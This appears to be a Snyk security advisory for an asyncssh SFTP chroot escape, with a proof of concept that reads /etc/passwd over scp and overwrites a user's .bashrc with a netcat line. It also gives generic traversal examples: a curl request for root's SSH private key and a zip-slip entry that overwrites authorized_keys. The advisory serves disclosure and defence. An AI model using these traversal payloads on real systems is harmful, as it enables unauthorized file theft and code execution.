Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade asyncssh to version 2.24.1 or higher.
Affected versions of this package are vulnerable to Directory Traversal via SFTPServer.map_path() in asyncssh/sftp.py, which applies posixpath.normpath() to a client-supplied path and then strips only a single leading slash before passing the result to posixpath.join() with the configured chroot directory. An authenticated SFTP user can supply a path beginning with exactly two slash characters, causing POSIX normalization to preserve the double-leading-slash form, after which posixpath.join() treats the remaining component as an absolute path and discards the chroot prefix entirely. This allows arbitrary file reads and writes with the operating-system permissions of the account running the server, which can be chained into remote code execution depending on writable targets.
Step 1: Setup default SFTPServer (with chroot) and confirm it works as intended
# From the examples 'https://asyncssh.readthedocs.io/en/latest/#sftp-server'import asyncio, asyncssh, os, sys
class MySFTPServer(asyncssh.SFTPServer): def init(self, chan: asyncssh.SSHServerChannel): root = '/tmp/sftp/' + chan.get_extra_info('username') os.makedirs(root, exist_ok=True) super().init(chan, chroot=root)
async def start_server() -> None: await asyncssh.listen('', 8022, server_host_keys=['ssh_host_key'], authorized_client_keys='ssh_user_ca', sftp_factory=MySFTPServer)
loop = asyncio.new_event_loop()
try: loop.run_until_complete(start_server()) except (OSError, asyncssh.Error) as exc: sys.exit('Error starting server: ' + str(exc))
loop.run_forever()
# Start it
lorenz@vm:~$ python -c "import asyncssh; print(asyncssh.__version__)"
2.24.0
lorenz@vm:~$ uname -a
Linux vm 6.17.0-35-generic #35~24.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 19:30:42 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
(.venv) lorenz@vm:~$ python3 sftp_example.py
# Write a simple file
lorenz@vm:~$ scp -P 8022 -i key test.txt testuser@127.0.0.1:.
test.txt 100% 13 17.3KB/s 00:00
lorenz@vm:/tmp/sftp/testuser$ ls -lAh
total 4,0K
-rw-rw-r-- 1 lorenz lorenz 13 Jul 14 23:00 test.txt
# Get it
lorenz@vm:~$ scp -P 8022 -i key testuser@127.0.0.1:test.txt .
test.txt 100% 13 10.0KB/s 00:00
# Works as intended
Step 2: Escape
# Get something lorenz@vm:~$ scp -P 8022 -i key testuser@127.0.0.1://etc/passwd out.txt passwd 100% 2663 1.5MB/s 00:00$ tail -n4 out.txt nm-openconnect:x:119:122:NetworkManager OpenConnect plugin,,,:/var/lib/NetworkManager:/usr/sbin/nologin lorenz:x:1000:1000:lorenz:/home/lorenz:/bin/bash xrdp:x:120:124::/run/xrdp:/usr/sbin/nologin sshd:x:121:65534::/run/sshd:/usr/sbin/nologin
Thats my passwd (and home directory so we know where to put something)!
# Put something
lorenz@vm:~$ echo 'echo "lets escape!" | nc -lp 8080' > put.txt
lorenz@vm:~$ scp -P 8022 -i key put.txt testuser@127.0.0.1://home/lorenz/.bashrc
put.txt 100% 34 36.4KB/s 00:00
lorenz@vm:~$ cat /home/lorenz/.bashrc
echo "lets escape!" | nc -lp 8080
# It's there and depending on the specifics of the setup we can have an RCE!
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
Zip-Slip.One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys